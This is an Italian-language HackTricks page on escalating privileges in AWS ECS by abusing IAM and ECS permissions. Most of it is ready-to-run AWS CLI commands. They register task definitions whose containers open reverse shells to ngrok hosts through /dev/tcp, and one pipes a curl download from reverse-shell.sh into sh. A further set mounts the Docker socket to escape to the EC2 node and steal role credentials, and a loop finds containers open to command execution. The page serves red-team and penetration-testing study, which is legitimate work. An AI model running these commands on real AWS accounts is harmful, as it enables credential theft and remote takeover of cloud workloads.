AWS - ECS Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

ECS

Maggiori informazioni su ECS in:

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Un attaccante che sfrutta i permessi iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impatto potenziale: Privesc diretto a un diverso ruolo ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Proprio come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo. Tuttavia, in questo caso, è necessaria un'istanza del container per eseguire la definizione di task malevola.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impatto potenziale: Privesc diretto a qualsiasi ruolo ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Proprio come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService in ECS può generare una nuova definizione di attività con un contenitore maligno che ruba le credenziali dei metadati e eseguirlo creando un nuovo servizio con almeno 1 attività in esecuzione.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potenziale Impatto: Privesc diretto a qualsiasi ruolo ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Questo scenario è simile ai precedenti ma senza il permesso iam:PassRole. Questo è comunque interessante perché se puoi eseguire un contenitore arbitrario, anche senza un ruolo, potresti eseguire un contenitore privilegiato per sfuggire al nodo e rubare il ruolo EC2 IAM e gli altri ruoli dei contenitori ECS in esecuzione nel nodo. Potresti persino forzare altre attività ad eseguirsi all'interno dell'istanza EC2 che hai compromesso per rubare le loro credenziali (come discusso nella sezione Privesc al nodo).

Questo attacco è possibile solo se il cluster ECS sta utilizzando istanze EC2 e non Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Un attaccante con i permessi ecs:ExecuteCommand, ecs:DescribeTasks può eseguire comandi all'interno di un container in esecuzione ed estrarre il ruolo IAM ad esso associato (è necessario avere i permessi di descrizione perché è necessario eseguire aws ecs execute-command). Tuttavia, per fare ciò, l'istanza del container deve essere in esecuzione con l'agente ExecuteCommand (che di default non lo è).

Pertanto, l'attaccante può provare a:

  • Provare ad eseguire un comando in ogni container in esecuzione

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Se ha ecs:RunTask, esegui un task con aws ecs run-task --enable-execute-command [...]

  • Se ha ecs:StartTask, esegui un task con aws ecs start-task --enable-execute-command [...]

  • Se ha ecs:CreateService, crea un servizio con aws ecs create-service --enable-execute-command [...]

  • Se ha ecs:UpdateService, aggiorna un servizio con aws ecs update-service --enable-execute-command [...]

Puoi trovare esempi di queste opzioni nelle sezioni precedenti di privesc di ECS.

Impatto potenziale: Privesc a un ruolo diverso collegato ai contenitori.

ssm:StartSession

Controlla nella pagina di privesc di ssm come puoi sfruttare questa autorizzazione per privesc a ECS:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Controlla nella pagina di privesc di ec2 come puoi sfruttare queste autorizzazioni per privesc a ECS:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: È possibile registrare un'istanza da un diverso account AWS in modo che i task vengano eseguiti su macchine controllate dall'attaccante??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Testa questo

Un attaccante con le autorizzazioni ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet e ecs:DescribeTaskSets può creare un set di task maligno per un servizio ECS esistente e aggiornare il set di task primario. Ciò consente all'attaccante di eseguire codice arbitrario all'interno del servizio.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potenziale Impatto: Eseguire codice arbitrario nel servizio interessato, potenzialmente compromettendo la sua funzionalità o esfiltrando dati sensibili.

Riferimenti

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated